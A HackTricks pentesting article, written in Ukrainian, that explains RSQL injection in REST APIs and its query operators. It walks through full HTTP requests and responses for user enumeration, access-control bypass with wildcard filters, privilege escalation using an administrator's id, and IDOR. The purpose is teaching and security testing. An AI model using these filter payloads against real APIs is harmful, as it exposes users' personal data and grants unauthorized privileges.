RSQL Injection

Reading time: 15 minutes

RSQL Injection

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

RSQL Injection

Що таке RSQL?

RSQL - це мова запитів, розроблена для параметризованого фільтрування вхідних даних у RESTful API. Заснована на FIQL (Feed Item Query Language), спочатку визначеній Марком Ноттінгемом для запитів до Atom-каналів, RSQL вирізняється своєю простотою та здатністю виражати складні запити компактно та відповідно до URI через HTTP. Це робить її відмінним вибором як загальної мови запитів для пошуку REST-інтерфейсів.

Огляд

RSQL Injection - це вразливість у веб-додатках, які використовують RSQL як мову запитів у RESTful API. Подібно до SQL Injection та LDAP Injection, ця вразливість виникає, коли фільтри RSQL не очищуються належним чином, що дозволяє зловмиснику впроваджувати шкідливі запити для доступу, зміни або видалення даних без авторизації.

Як це працює?

RSQL дозволяє вам створювати розширені запити в RESTful API, наприклад:

bash
/products?filter=price>100;category==electronics

Це перетворюється на структурований запит, який фільтрує продукти з ціною більше 100 і категорією "електроніка".

Якщо додаток не правильно перевіряє введення користувача, зловмисник може маніпулювати фільтром для виконання несподіваних запитів, таких як:

bash
/products?filter=id=in=(1,2,3);delete_all==true

Або навіть скористатися для витягнення чутливої інформації за допомогою булевих запитів або вкладених підзапитів.

Ризики

  • Витік чутливих даних: Зловмисник може отримати інформацію, яка не повинна бути доступною.
  • Модифікація або видалення даних: Впровадження фільтрів, які змінюють записи в базі даних.
  • Ескалація привілеїв: Маніпуляція ідентифікаторами, які надають ролі через фільтри, щоб обманути додаток, отримуючи доступ з привілеями інших користувачів.
  • Уникнення контролю доступу: Маніпуляція фільтрами для доступу до обмежених даних.
  • Видавання себе за іншого або IDOR: Модифікація ідентифікаторів між користувачами через фільтри, які дозволяють доступ до інформації та ресурсів інших користувачів без належної аутентифікації.

Підтримувані оператори RSQL

ОператорОписПриклад
; / andЛогічний AND оператор. Фільтрує рядки, де обидва умови є істинними/api/v2/myTable?q=columnA==valueA;columnB==valueB
, / orЛогічний OR оператор. Фільтрує рядки, де принаймні одна умова є істинною/api/v2/myTable?q=columnA==valueA,columnB==valueB
==Виконує запит дорівнює. Повертає всі рядки з myTable, де значення в columnA точно дорівнюють queryValue/api/v2/myTable?q=columnA==queryValue
=q=Виконує запит пошук. Повертає всі рядки з myTable, де значення в columnA містять queryValue/api/v2/myTable?q=columnA=q=queryValue
=like=Виконує запит подібно. Повертає всі рядки з myTable, де значення в columnA подібні до queryValue/api/v2/myTable?q=columnA=like=queryValue
=in=Виконує запит в. Повертає всі рядки з myTable, де columnA містить valueA АБО valueB/api/v2/myTable?q=columnA=in=(valueA, valueB)
=out=Виконує запит виключити. Повертає всі рядки з myTable, де значення в columnA не є ні valueA, ні valueB/api/v2/myTable?q=columnA=out=(valueA,valueB)
!=Виконує запит не дорівнює. Повертає всі рядки з myTable, де значення в columnA не дорівнюють queryValue/api/v2/myTable?q=columnA!=queryValue
=notlike=Виконує запит не подібно. Повертає всі рядки з myTable, де значення в columnA не подібні до queryValue/api/v2/myTable?q=columnA=notlike=queryValue
< & =lt=Виконує запит менше ніж. Повертає всі рядки з myTable, де значення в columnA менше ніж queryValue/api/v2/myTable?q=columnA<queryValue
/api/v2/myTable?q=columnA=lt=queryValue
=le= & <=Виконує запит менше ніж або дорівнює. Повертає всі рядки з myTable, де значення в columnA менше ніж або дорівнює queryValue/api/v2/myTable?q=columnA<=queryValue
/api/v2/myTable?q=columnA=le=queryValue
> & =gt=Виконує запит більше ніж. Повертає всі рядки з myTable, де значення в columnA більше ніж queryValue/api/v2/myTable?q=columnA>queryValue
/api/v2/myTable?q=columnA=gt=queryValue
>= & =ge=Виконує запит дорівнює або більше ніж. Повертає всі рядки з myTable, де значення в columnA дорівнюють або більше ніж queryValue/api/v2/myTable?q=columnA>=queryValue
/api/v2/myTable?q=columnA=ge=queryValue
=rng=Виконує запит від до. Повертає всі рядки з myTable, де значення в columnA дорівнюють або більше ніж fromValue, і менше ніж або дорівнюють toValue/api/v2/myTable?q=columnA=rng=(fromValue,toValue)

Примітка: Таблиця на основі інформації з MOLGENIS та rsql-parser додатків.

Приклади

  • name=="Kill Bill";year=gt=2003
  • name=="Kill Bill" and year>2003
  • genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
  • genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
  • director.lastName==Nolan;year=ge=2000;year=lt=2010
  • director.lastName==Nolan and year>=2000 and year<2010
  • genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
  • genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino

Примітка: Таблиця на основі інформації з rsql-parser додатку.

Загальні фільтри

Ці фільтри допомагають уточнити запити в API:

ФільтрОписПриклад
filter[users]Фільтрує результати за конкретними користувачами/api/v2/myTable?filter[users]=123
filter[status]Фільтрує за статусом (активний/неактивний, завершений тощо)/api/v2/orders?filter[status]=active
filter[date]Фільтрує результати в межах діапазону дат/api/v2/logs?filter[date]=gte:2024-01-01
filter[category]Фільтрує за категорією або типом ресурсу/api/v2/products?filter[category]=electronics
filter[id]Фільтрує за унікальним ідентифікатором/api/v2/posts?filter[id]=42

Загальні параметри

Ці параметри допомагають оптимізувати відповіді API:

ПараметрОписПриклад
includeВключає пов'язані ресурси у відповідь/api/v2/orders?include=customer,items
sortСортує результати у зростаючому або спадаючому порядку/api/v2/users?sort=-created_at
page[size]Контролює кількість результатів на сторінці/api/v2/products?page[size]=10
page[number]Вказує номер сторінки/api/v2/products?page[number]=2
fields[resource]Визначає, які поля повертати у відповіді/api/v2/users?fields[users]=id,name,email
searchВиконує більш гнучкий пошук/api/v2/posts?search=technology

Витік інформації та перерахування користувачів

Наступний запит показує кінцеву точку реєстрації, яка вимагає параметр email для перевірки, чи є зареєстрований користувач з цією електронною поштою, і повертає true або false в залежності від того, чи існує він у базі даних:

Запит

GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Відповідь

HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85

{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}

Хоча очікується /api/registrations?email=<emailAccount>, можливо використовувати RSQL фільтри для спроби перерахувати та/або витягти інформацію про користувачів за допомогою спеціальних операторів:

Request

GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Відповідь

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"attributes": {
"tenants": []
}
}
}

У випадку, якщо знайдено дійсний обліковий запис електронної пошти, програма поверне інформацію про користувача замість класичного “true”, "1" або чогось подібного у відповіді на сервер:

Request

GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Відповідь

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}

Уникнення авторизації

У цьому сценарії ми починаємо з користувача з базовою роллю, у якого немає привілейованих дозволів (наприклад, адміністратора) для доступу до списку всіх користувачів, зареєстрованих у базі даних:

Запит

GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Відповідь

HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

Знову ми використовуємо фільтри та спеціальні оператори, які дозволять нам альтернативний спосіб отримати інформацію про користувачів та уникнути контролю доступу. Наприклад, фільтруємо за тими користувачами, які містять літеру “a” у своєму ID користувача:

Request

GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Відповідь

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................

Підвищення Привілеїв

Дуже ймовірно знайти певні кінцеві точки, які перевіряють привілеї користувача через їхню роль. Наприклад, ми маємо справу з користувачем, який не має привілеїв:

Запит

GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Відповідь

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": []
}

Використовуючи певні оператори, ми можемо перерахувати адміністраторів:

Запит

GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Відповідь

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}

Після того, як відомий ідентифікатор адміністратора, можна експлуатувати ескалацію привілеїв, замінивши або додавши відповідний фільтр з ідентифікатором адміністратора та отримавши ті ж привілеї:

Request

GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Відповідь

HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
.......

Імітація або Небезпечні Прямі Посилання на Об'єкти (IDOR)

На додаток до використання параметра filter, можливо використовувати інші параметри, такі як include, які дозволяють включати в результат певні параметри (наприклад, мова, країна, пароль...).

У наступному прикладі показано інформацію про наш профіль користувача:

Запит

GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Відповідь

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Комбінація фільтрів може бути використана для обходу контролю авторизації та отримання доступу до профілів інших користувачів:

Request

GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Відповідь

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks